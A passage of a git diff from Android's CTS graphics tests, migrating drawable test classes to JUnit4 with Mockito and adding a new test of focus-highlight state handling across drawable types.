         assertFalse("child did not change", clipDrawable.onStateChange(state));
         assertEquals("child state did not change", d.getState(), StateSet.WILD_CARD);
 
-        d = mContext.getDrawable(R.drawable.statelistdrawable);
+        d = context.getDrawable(R.drawable.statelistdrawable);
         clipDrawable = new MockClipDrawable(d, Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
         assertEquals("initial child state is empty", d.getState(), StateSet.WILD_CARD);
         clipDrawable.onStateChange(state);
@@ -267,49 +305,52 @@
         // expected, no Exception thrown out, test success
     }
 
+    @Test
     public void testScheduleDrawable() {
-        MockDrawable mockDrawable = new MockDrawable();
-        ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
+        Drawable colorDrawable = new ColorDrawable(Color.GREEN);
+        ClipDrawable clipDrawable = new ClipDrawable(colorDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
-        MockCallback callback = new MockCallback();
+        Drawable.Callback callback = mock(Drawable.Callback.class);
         clipDrawable.setCallback(callback);
-        clipDrawable.scheduleDrawable(mockDrawable, null, 1000L);
-        assertEquals(clipDrawable, callback.getScheduleDrawable());
-        assertNull(callback.getRunnable());
-        assertEquals(1000L, callback.getWhen());
+        clipDrawable.scheduleDrawable(colorDrawable, null, 1000L);
+        verify(callback, times(1)).scheduleDrawable(clipDrawable, null, 1000L);
     }
 
+    @Test
     public void testSetAlpha() {
-        MockDrawable mockDrawable = new MockDrawable();
-        ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
+        Drawable colorDrawable = new ColorDrawable(Color.GREEN);
+        ClipDrawable clipDrawable = new ClipDrawable(colorDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
 
         clipDrawable.setAlpha(0);
-        assertEquals(0, mockDrawable.getAlpha());
+        assertEquals(0, colorDrawable.getAlpha());
 
         clipDrawable.setAlpha(128);
-        assertEquals(128, mockDrawable.getAlpha());
+        assertEquals(128, colorDrawable.getAlpha());
 
         clipDrawable.setAlpha(255);
-        assertEquals(255, mockDrawable.getAlpha());
+        assertEquals(255, colorDrawable.getAlpha());
     }
 
+    @Test
     public void testSetColorFilter() {
-        MockDrawable mockDrawable = new MockDrawable();
+        Drawable mockDrawable = spy(new ColorDrawable(Color.GREEN));
         ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
 
         ColorFilter cf = new ColorFilter();
         clipDrawable.setColorFilter(cf);
-        assertSame(cf, mockDrawable.getColorFilter());
+        verify(mockDrawable, times(1)).setColorFilter(cf);
 
+        reset(mockDrawable);
         clipDrawable.setColorFilter(null);
-        assertNull(mockDrawable.getColorFilter());
+        verify(mockDrawable, times(1)).setColorFilter(null);
     }
 
+    @Test
     public void testSetVisible() {
-        MockDrawable mockDrawable = new MockDrawable();
-        ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
+        Drawable colorDrawable = new ColorDrawable(Color.GREEN);
+        ClipDrawable clipDrawable = new ClipDrawable(colorDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
         assertTrue(clipDrawable.isVisible());
 
@@ -323,15 +364,15 @@
         assertTrue(clipDrawable.isVisible());
     }
 
+    @Test
     public void testUnscheduleDrawable() {
-        MockDrawable mockDrawable = new MockDrawable();
-        ClipDrawable clipDrawable = new ClipDrawable(mockDrawable,
+        Drawable colorDrawable = new ColorDrawable(Color.GREEN);
+        ClipDrawable clipDrawable = new ClipDrawable(colorDrawable,
                 Gravity.BOTTOM, ClipDrawable.HORIZONTAL);
-        MockCallback callback = new MockCallback();
+        Drawable.Callback callback = mock(Drawable.Callback.class);
         clipDrawable.setCallback(callback);
-        clipDrawable.unscheduleDrawable(mockDrawable, null);
-        assertEquals(clipDrawable, callback.getScheduleDrawable());
-        assertNull(callback.getRunnable());
+        clipDrawable.unscheduleDrawable(colorDrawable, null);
+        verify(callback, times(1)).unscheduleDrawable(clipDrawable, null);
     }
 
     private class MockClipDrawable extends ClipDrawable {
@@ -355,66 +396,6 @@
         }
     }
 
-    private class MockDrawable extends Drawable {
-        private ColorFilter mColorFilter;
-        private ConstantState mConstantState;
-        private int mOpacity;
-        private boolean mCalledDraw = false;
-        private int mAlpha;
-
-        public boolean getCalledDraw() {
-            return mCalledDraw;
-        }
-
-        public void draw(Canvas canvas) {
-            mCalledDraw = true;
-        }
-
-        public void setAlpha(int alpha) {
-            mAlpha = alpha;
-        }
-
-        public int getAlpha() {
-            return mAlpha;
-        }
-
-        public void setColorFilter(ColorFilter cf) {
-            mColorFilter = cf;
-        }
-
-        public ColorFilter getColorFilter() {
-            return mColorFilter;
-        }
-
-        public int getOpacity() {
-            return mOpacity;
-        }
-
-        public void setOpacity(int opacity) {
-            mOpacity = opacity;
-        }
-
-        protected void onBoundsChange(Rect bounds) {
-            super.onBoundsChange(bounds);
-        }
-
-        protected boolean onLevelChange(int level) {
-            return super.onLevelChange(level);
-        }
-
-        protected boolean onStateChange(int[] state) {
-            return super.onStateChange(state);
-        }
-
-        public ConstantState getConstantState() {
-            return mConstantState;
-        }
-
-        public void setConstantState(ConstantState cs) {
-            mConstantState = cs;
-        }
-    }
-
     private class MockConstantState extends ConstantState {
         public Drawable newDrawable() {
             return null;
@@ -424,46 +405,4 @@
             return 0;
         }
     }
-
-    private class MockCallback implements Drawable.Callback {
-        private Drawable mInvalidateDrawable;
-        private Drawable mScheduleDrawable;
-        private Runnable mRunnable;
-        private long mWhen;
-
-        public Drawable getInvalidateDrawable() {
-            return mInvalidateDrawable;
-        }
-
-        public Drawable getScheduleDrawable() {
-            return mScheduleDrawable;
-        }
-
-        public Runnable getRunnable() {
-            return mRunnable;
-        }
-
-        public long getWhen() {
-            return mWhen;
-        }
-
-        public void invalidateDrawable(Drawable who) {
-            mInvalidateDrawable = who;
-        }
-
-        public void scheduleDrawable(Drawable who, Runnable what, long when) {
-            mScheduleDrawable = who;
-            mRunnable = what;
-            mWhen = when;
-        }
-
-        public void unscheduleDrawable(Drawable who, Runnable what) {
-            mScheduleDrawable = who;
-            mRunnable = what;
-        }
-
-        public int getResolvedLayoutDirection(Drawable who) {
-            return 0;
-        }
-    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/ColorDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/ColorDrawableTest.java
index 4be0046..ee34254 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/ColorDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/ColorDrawableTest.java
@@ -16,6 +16,11 @@
 
 package android.graphics.drawable.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.res.Resources;
 import android.content.res.XmlResourceParser;
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
@@ -24,25 +29,32 @@
 import android.graphics.PixelFormat;
 import android.graphics.PorterDuff.Mode;
 import android.graphics.PorterDuffColorFilter;
+import android.graphics.cts.R;
 import android.graphics.drawable.ColorDrawable;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 
-import android.graphics.cts.R;
-
+import org.junit.Test;
+import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 
-public class ColorDrawableTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ColorDrawableTest {
+    @Test
     public void testConstructors() {
         new ColorDrawable();
         new ColorDrawable(0);
         new ColorDrawable(1);
     }
 
+    @Test
     public void testAccessAlpha() {
         ColorDrawable colorDrawable = new ColorDrawable();
         assertEquals(0, colorDrawable.getAlpha());
@@ -60,6 +72,7 @@
         assertEquals(1, colorDrawable.getAlpha());
     }
 
+    @Test
     public void testGetChangingConfigurations() {
         final ColorDrawable colorDrawable = new ColorDrawable();
         assertEquals(0, colorDrawable.getChangingConfigurations());
@@ -74,6 +87,7 @@
         assertEquals(Integer.MAX_VALUE, colorDrawable.getChangingConfigurations());
     }
 
+    @Test
     public void testGetConstantState() {
         final ColorDrawable colorDrawable = new ColorDrawable();
         assertNotNull(colorDrawable.getConstantState());
@@ -81,6 +95,7 @@
                 colorDrawable.getConstantState().getChangingConfigurations());
     }
 
+    @Test
     public void testGetOpacity() {
         ColorDrawable colorDrawable = new ColorDrawable();
         assertEquals(PixelFormat.TRANSPARENT, colorDrawable.getOpacity());
@@ -92,11 +107,13 @@
         assertEquals(PixelFormat.TRANSLUCENT, colorDrawable.getOpacity());
     }
 
+    @Test
     public void testInflate() throws XmlPullParserException, IOException {
         int eventType = -1;
         final ColorDrawable colorDrawable = new ColorDrawable();
 
-        final XmlPullParser parser = mContext.getResources().getXml(R.drawable.colordrawable_test);
+        Resources resources = InstrumentationRegistry.getTargetContext().getResources();
+        final XmlPullParser parser = resources.getXml(R.drawable.colordrawable_test);
         // start to parse XML document
         while (eventType != XmlResourceParser.START_TAG
                 && eventType != XmlResourceParser.END_DOCUMENT) {
@@ -110,7 +127,7 @@
         }
         if (eventType == XmlResourceParser.START_TAG) {
             final AttributeSet attrs = Xml.asAttributeSet(parser);
-            colorDrawable.inflate(mContext.getResources(), parser, attrs);
+            colorDrawable.inflate(resources, parser, attrs);
             // set the alpha to 2 in colordrawable_test.xml
             assertEquals(2, colorDrawable.getAlpha());
         } else {
@@ -118,6 +135,7 @@
         }
     }
 
+    @Test
     public void testSetColorFilter() {
         final ColorDrawable d = new ColorDrawable(Color.WHITE);
         assertEquals(Color.WHITE, DrawableTestUtils.getPixel(d, 0, 0));
@@ -129,6 +147,7 @@
         assertEquals(Color.BLACK, DrawableTestUtils.getPixel(d, 0, 0));
     }
 
+    @Test
     public void testSetTint() {
         final ColorDrawable d = new ColorDrawable(Color.WHITE);
         assertEquals(Color.WHITE, DrawableTestUtils.getPixel(d, 0, 0));
@@ -138,6 +157,7 @@
         assertEquals(Color.BLACK, DrawableTestUtils.getPixel(d, 0, 0));
     }
 
+    @Test
     public void testDraw() {
         final ColorDrawable d = new ColorDrawable(Color.WHITE);
         final Bitmap b = Bitmap.createBitmap(1, 1, Config.ARGB_8888);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/CustomAnimationScaleListDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/CustomAnimationScaleListDrawableTest.java
index 3445641..abba96e 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/CustomAnimationScaleListDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/CustomAnimationScaleListDrawableTest.java
@@ -17,37 +17,65 @@
 package android.graphics.drawable.cts;
 
 import android.animation.ValueAnimator;
+import android.content.Context;
 import android.graphics.cts.R;
 import android.graphics.drawable.Animatable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.DrawableContainer;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
 
 /**
  * This test is used to verify that the CustomAnimationScaleListDrawable's current drawable depends
  * on animation duration scale. When the scale is 0, it is a static drawable, otherwise, it is an
  * animatable drawable.
  */
-public class CustomAnimationScaleListDrawableTest extends AndroidTestCase {
-    @MediumTest
-    public void testNonZeroDurationScale() {
-        float originalScale = ValueAnimator.getDurationScale();
-        ValueAnimator.setDurationScale(2.0f);
-        Drawable dr = getContext().getDrawable(R.drawable.custom_animation_scale_list_drawable);
-        assertTrue(dr instanceof DrawableContainer);
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CustomAnimationScaleListDrawableTest {
+    private static final int DRAWABLE_ID = R.drawable.custom_animation_scale_list_drawable;
+    private Context mContext;
+    private float mOriginalScale;
 
-        assertTrue(dr.getCurrent() instanceof Animatable);
-        ValueAnimator.setDurationScale(originalScale);
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mOriginalScale = ValueAnimator.getDurationScale();
     }
 
-    @MediumTest
+    @After
+    public void teardown() {
+        // Restore the original duration scale.
+        ValueAnimator.setDurationScale(mOriginalScale);
+    }
+
+    @Test
+    public void testNonZeroDurationScale() {
+        // Set the duration scale to a non-zero value will cause the AnimationScaleListDrawable's
+        // current drawable choose the animatable one.
+        ValueAnimator.setDurationScale(2.0f);
+        Drawable dr = mContext.getDrawable(DRAWABLE_ID);
+        assertTrue(dr instanceof DrawableContainer);
+        assertTrue(dr.getCurrent() instanceof Animatable);
+    }
+
+    @Test
     public void testZeroDurationScale() {
-        float originalScale = ValueAnimator.getDurationScale();
+        // Set the duration scale to zero will cause the AnimationScaleListDrawable's current
+        // drawable choose the static one.
         ValueAnimator.setDurationScale(0f);
-        Drawable dr = getContext().getDrawable(R.drawable.custom_animation_scale_list_drawable);
+        Drawable dr = mContext.getDrawable(DRAWABLE_ID);
         assertTrue(dr instanceof DrawableContainer);
         assertFalse(dr.getCurrent() instanceof Animatable);
-        ValueAnimator.setDurationScale(originalScale);
     }
 }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/CustomDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/CustomDrawableTest.java
index 7dff729..9070690 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/CustomDrawableTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/CustomDrawableTest.java
@@ -16,10 +16,8 @@
 
 package android.graphics.drawable.cts;
 
-import android.graphics.cts.R;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.content.res.Resources;
 import android.content.res.Resources.Theme;
@@ -28,16 +26,27 @@
 import android.graphics.Color;
 import android.graphics.ColorFilter;
 import android.graphics.PixelFormat;
+import android.graphics.cts.R;
 import android.graphics.drawable.Drawable;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
 import java.io.IOException;
 
-public class CustomDrawableTest extends AndroidTestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CustomDrawableTest {
+    @Test
     public void testInflation() {
-        Drawable dr = getContext().getDrawable(R.drawable.custom_drawable);
+        Drawable dr = InstrumentationRegistry.getTargetContext().getDrawable(
+                R.drawable.custom_drawable);
         assertTrue(dr instanceof CustomDrawable);
         assertEquals(Color.RED, ((CustomDrawable) dr).getColor());
     }
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DefaultFocusHighlightTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DefaultFocusHighlightTest.java
new file mode 100644
index 0000000..c8d057a
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DefaultFocusHighlightTest.java
@@ -0,0 +1,358 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.graphics.drawable.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.content.res.ColorStateList;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
+import android.graphics.BitmapFactory;
+import android.graphics.NinePatch;
+import android.graphics.Picture;
+import android.graphics.cts.R;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.DrawableContainer;
+import android.graphics.drawable.DrawableContainer.DrawableContainerState;
+import android.graphics.drawable.GradientDrawable;
+import android.graphics.drawable.LevelListDrawable;
+import android.graphics.drawable.NinePatchDrawable;
+import android.graphics.drawable.PaintDrawable;
+import android.graphics.drawable.PictureDrawable;
+import android.graphics.drawable.RippleDrawable;
+import android.graphics.drawable.ShapeDrawable;
+import android.graphics.drawable.StateListDrawable;
+import android.graphics.drawable.shapes.RectShape;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.StateSet;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DefaultFocusHighlightTest {
+
+    // The target context.
+    private Context mContext;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    private static final int A_COLOR = 0x920424;
+    private static final int[] NO_STATE_FOCUSED = new int[] { android.R.attr.state_enabled };
+    private static final int[] ONLY_STATE_FOCUSED = new int[] { android.R.attr.state_focused };
+    private static final int[] STATE_FOCUSED_WITH_POS =
+            new int[] { android.R.attr.state_focused, android.R.attr.state_hovered };
+    private static final int[] STATE_FOCUSED_WITH_NEG =
+            new int[] { android.R.attr.state_focused,  -android.R.attr.state_hovered };
+    private static final int[] STATE_FOCUSED_WITH_ENABLED =
+            new int[] { android.R.attr.state_focused, android.R.attr.state_enabled };
+
+    final static int[] FOCUSED_STATE =
+            new int[] { android.R.attr.state_focused, android.R.attr.state_enabled };
+
+    @UiThreadTest
+    @Test
+    public void testStateListDrawable() {
+        Drawable d;
+        // Empty state spec
+        d = DrawableFactory.createStateListDrawable(
+                new int[][] {}
+            );
+        d.setState(FOCUSED_STATE);
+        assertFalse(d.hasFocusStateSpecified());
+
+        // Wild card
+        d = DrawableFactory.createStateListDrawable(
+                new int[][] { StateSet.WILD_CARD }
+            );
+        d.setState(FOCUSED_STATE);
+        assertFalse(d.hasFocusStateSpecified());
+
+        // No state spec of state_focused=true
+        d = DrawableFactory.createStateListDrawable(
+                new int[][] { NO_STATE_FOCUSED }
+            );
+        d.setState(FOCUSED_STATE);
+        assertFalse(d.hasFocusStateSpecified());
+
+        // One state spec of only state_focused=true
+        d = DrawableFactory.createStateListDrawable(
+                new int[][] { ONLY_STATE_FOCUSED }
+            );
+        d.setState(FOCUSED_STATE);
+        assertTrue(d.hasFocusStateSpecified());
+
+        // One state spec of state_focused=true and something=true, but no state spec of
+        // state_focused=true and something=false (something is not enabled)
+        d = DrawableFactory.createStateListDrawable(
+                new int[][] { STATE_FOCUSED_WITH_POS }
+            );
+        d.setState(FOCUSED_STATE);
+        assertTrue(d.hasFocusStateSpecified());
+
+        // One state spec of state_focused=true and something=true, and one spec of
+        // state_focused=true and something=false (something is not enabled)
+        d = DrawableFactory.createStateListDrawable(
+            new int[][] { STATE_FOCUSED_WITH_POS, STATE_FOCUSED_WITH_NEG }
+        );
+        d.setState(FOCUSED_STATE);
+        assertTrue(d.hasFocusStateSpecified());
+
+        // One state spec of state_focused=true and enabled=true
+        d = DrawableFactory.createStateListDrawable(
+            new int[][] { STATE_FOCUSED_WITH_ENABLED }
+        );
+        d.setState(FOCUSED_STATE);
+        assertTrue(d.hasFocusStateSpecified());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testRippleDrawable() {
+        Drawable d = DrawableFactory.createRippleDrawable();
+        d.setState(FOCUSED_STATE);
+        assertTrue(d.hasFocusStateSpecified());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPictureDrawable() {
+        Drawable d = DrawableFactory.createPictureDrawable(null);
+        d.setState(FOCUSED_STATE);
+        assertFalse(d.hasFocusStateSpecified());
+
+        d = DrawableFactory.createPictureDrawable(new Picture());
+        d.setState(FOCUSED_STATE);
+        assertFalse(d.hasFocusStateSpecified());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testColorStateListHandledDrawable() {
+        final Drawable[] drawables = new Drawable[] {
+            DrawableFactory.createShapeDrawable(),
+            DrawableFactory.createPaintDrawable(),
+            DrawableFactory.createBitmapDrawable(mContext),
+            DrawableFactory.createColorDrawable(),
+            DrawableFactory.createGradientDrawable(),
+            DrawableFactory.createNinePatchDrawable(mContext),
+        };
+        final ColorStateList[] stateLists = new ColorStateList[] {
+            // Empty state spec
+            new ColorStateList(
+                new int[][] {  },
+                new int[] {  }),
+            // Wild card
+            new ColorStateList(
+                new int[][] { StateSet.WILD_CARD },
+                new int[] { A_COLOR }),
+            // No state spec of state_focused=true
+            new ColorStateList(
+                new int[][] { NO_STATE_FOCUSED },
+                new int[] { A_COLOR }),
+            // One state spec of only state_focused=true
+            new ColorStateList(
+                new int[][] { ONLY_STATE_FOCUSED },
+                new int[] { A_COLOR }),
+            // One state spec of state_focused=true and something=true,
+            // but no state spec of state_focused=true and something=false
+            new ColorStateList(
+                new int[][] { STATE_FOCUSED_WITH_POS },
+                new int[] { A_COLOR }),
+            // One state spec of state_focused=true and something=true,
+            // and one spec of state_focused=true and something=false
+            new ColorStateList(
+                new int[][] { STATE_FOCUSED_WITH_POS, STATE_FOCUSED_WITH_NEG },
+                new int[] { A_COLOR, A_COLOR }),
+        };
+        final boolean[] expectedResults = new boolean[] {
+            // Empty state spec
+            false,
+            // Wild card
+            false,
+            // No state spec of state_focused=true
+            false,
+            // One state spec of only state_focused=true
+            true,
+            // One state spec of state_focused=true and something=true,
+            // but no state spec of state_focused=true and something=false
+            true,
+            // One state spec of state_focused=true and something=true,
+            // and one spec of state_focused=true and something=false
+            true
+        };
+        assertEquals(stateLists.length, expectedResults.length);
+        for (Drawable drawable : drawables) {
+            // No ColorStateList set
+            String drawableName = drawable.getClass().toString();
+            String errorMsg = "[" + drawableName + "] Testing no ColorStateList failed.";
+            drawable.setState(FOCUSED_STATE);
+            assertFalse(errorMsg, drawable.hasFocusStateSpecified());
+            // With ColorStateList set
+            for (int i = 0; i < stateLists.length; i++) {
+                ColorStateList stateList = stateLists[i];
+                boolean expectedResult = expectedResults[i];
+                drawable.setTintList(stateList);
+                errorMsg = "[" + drawableName + "] Testing ColorStateList No." + i + " failed.";
+
+                drawable.setState(FOCUSED_STATE);
+                if (expectedResult) {
+                    assertTrue(errorMsg, drawable.hasFocusStateSpecified());
+                } else {
+                    assertFalse(errorMsg, drawable.hasFocusStateSpecified());
+                }
+            }
+        }
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDrawableContainer() {
+        MockDrawableContainer container;
+        DrawableContainerState containerState;
+
+        // Empty
+        container = new MockDrawableContainer();
+        containerState = (DrawableContainerState) new LevelListDrawable().getConstantState();
+        assertNotNull(containerState);
+        container.setConstantState(containerState);
+        container.setState(FOCUSED_STATE);
+        assertFalse(container.hasFocusStateSpecified());
+
+        // No drawable of state_focused=true
+        container = new MockDrawableContainer();
+        containerState = (DrawableContainerState) new LevelListDrawable().getConstantState();
+        assertNotNull(containerState);
+        container.setConstantState(containerState);
+        containerState.addChild(DrawableFactory.createPaintDrawable());
+        containerState.addChild(DrawableFactory.createBitmapDrawable(mContext));
+        containerState.addChild(DrawableFactory.createColorDrawable());
+        container.selectDrawable(0);
+        container.setState(FOCUSED_STATE);
+        assertFalse(container.hasFocusStateSpecified());
+        container.selectDrawable(1);
+        container.setState(FOCUSED_STATE);
+        assertFalse(container.hasFocusStateSpecified());
+        container.selectDrawable(2);
+        container.setState(FOCUSED_STATE);
+        assertFalse(container.hasFocusStateSpecified());
+
+        // Only drawables of state_focused=true
+        container = new MockDrawableContainer();
+        containerState = (DrawableContainerState) new LevelListDrawable().getConstantState();
+        assertNotNull(containerState);
+        container.setConstantState(containerState);
+        containerState.addChild(DrawableFactory.createRippleDrawable());
+        containerState.addChild(
+            DrawableFactory.createStateListDrawable(
+                new int[][] { STATE_FOCUSED_WITH_POS, STATE_FOCUSED_WITH_NEG }
+            )
+        );
+        container.selectDrawable(0);
+        container.setState(FOCUSED_STATE);
+        assertTrue(container.hasFocusStateSpecified());
+        container.selectDrawable(1);
+        container.setState(FOCUSED_STATE);
+        assertTrue(container.hasFocusStateSpecified());
+
+        // Both drawables of state_focused=true and state_focused=false
+        containerState.addChild(DrawableFactory.createColorDrawable());
+        container.selectDrawable(2);
+        container.setState(FOCUSED_STATE);
+        assertFalse(container.hasFocusStateSpecified());
+        container.selectDrawable(1);
+        container.setState(FOCUSED_STATE);
+        assertTrue(container.hasFocusStateSpecified());
+        container.selectDrawable(0);
+        container.setState(FOCUSED_STATE);
+        assertTrue(container.hasFocusStateSpecified());
+    }
+
+    static class DrawableFactory {
+        static ShapeDrawable createShapeDrawable() {
+            return new ShapeDrawable(new RectShape());
+        }
+        static PaintDrawable createPaintDrawable() {
+            PaintDrawable paintDrawable = new PaintDrawable();
+            paintDrawable.setCornerRadius(1.5f);
+            return paintDrawable;
+        }
+        static BitmapDrawable createBitmapDrawable(Context context) {
+            Bitmap bitmap = Bitmap.createBitmap(200, 300, Config.ARGB_8888);
+            BitmapDrawable bitmapDrawable = new BitmapDrawable(context.getResources(), bitmap);
+            return bitmapDrawable;
+        }
+        static ColorDrawable createColorDrawable() {
+            return new ColorDrawable(A_COLOR);
+        }
+        static GradientDrawable createGradientDrawable() {
+            GradientDrawable gradientDrawable = new GradientDrawable();
+            gradientDrawable.setColor(A_COLOR);
+            gradientDrawable.setCornerRadius(10f);
+            return gradientDrawable;
+        }
+        static NinePatchDrawable createNinePatchDrawable(Context context) {
+            Resources res = context.getResources();
+            Bitmap bitmap = BitmapFactory.decodeResource(res, R.drawable.ninepatch_0);
+            NinePatch np = new NinePatch(bitmap, bitmap.getNinePatchChunk(), null);
+            NinePatchDrawable ninePatchDrawable = new NinePatchDrawable(res, np);
+            return ninePatchDrawable;
+        }
+        static RippleDrawable createRippleDrawable() {
+            RippleDrawable rippleDrawable =
+                    new RippleDrawable(ColorStateList.valueOf(A_COLOR), null, null);
+            return rippleDrawable;
+        }
+        static PictureDrawable createPictureDrawable(Picture picture) {
+            PictureDrawable pictureDrawable = new PictureDrawable(picture);
+            return pictureDrawable;
+        }
+        static StateListDrawable createStateListDrawable(int[][] stateList) {
+            StateListDrawable drawable = new StateListDrawable();
+            ColorDrawable colorDrawable = DrawableFactory.createColorDrawable();
+            for (int i = 0; i < stateList.length; i++) {
+                drawable.addState(stateList[i], colorDrawable);
+            }
+            return drawable;
+        }
+    }
+
+    // We're calling protected methods in DrawableContainer.
+    // So we have to extend it here to make it accessible.
+    private class MockDrawableContainer extends DrawableContainer {
+        @Override
+        protected void setConstantState(DrawableContainerState state) {
+            super.setConstantState(state);
+        }
+    }
+
+}
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerStateTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerStateTest.java
index 8cbecab..aef8c3a 100644
--- a/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerStateTest.java
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/DrawableContainerStateTest.java
@@ -16,26 +16,39 @@
 
 package android.graphics.drawable.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.spy;
 
-import android.graphics.Canvas;
-import android.graphics.ColorFilter;
+import android.graphics.Color;
 import android.graphics.PixelFormat;
-import android.graphics.Rect;
+import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.DrawableContainer;
-import android.graphics.drawable.LevelListDrawable;
 import android.graphics.drawable.DrawableContainer.DrawableContainerState;
+import android.graphics.drawable.LevelListDrawable;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 
-import junit.framework.TestCase;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class DrawableContainerStateTest extends TestCase{
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DrawableContainerStateTest {
     private DrawableContainerState mDrawableContainerState;
 
     private DrawableContainer mDrawableContainer;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setup() {
         // DrawableContainerState has no public constructor. Obtain an instance through
         // LevelListDrawable.getConstants(). This is fine for testing the final methods of
         // DrawableContainerState.
@@ -44,16 +57,16 @@
         assertNotNull(mDrawableContainerState);
     }
 
-    public void testAddChild() {
-        try {
-            mDrawableContainerState.addChild(null);
-            fail("Should throw NullPointerException if the drawable is null.");
-        } catch (NullPointerException e) {
-        }
+    @Test(expected=NullPointerException.class)
+    public void testAddChildNull() {
+        mDrawableContainerState.addChild(null);
+    }
 
+    @Test
+    public void testAddChild() {
         assertEquals(0, mDrawableContainerState.getChildCount());
 
-        MockDrawable dr0 = new MockDrawable();
+        Drawable dr0 = spy(new ColorDrawable(Color.RED));
         dr0.setVisible(true, false);
         assertTrue(dr0.isVisible());
         assertEquals(0, mDrawableContainerState.addChild(dr0));
@@ -65,7 +78,7 @@
         assertNull(children[1]);
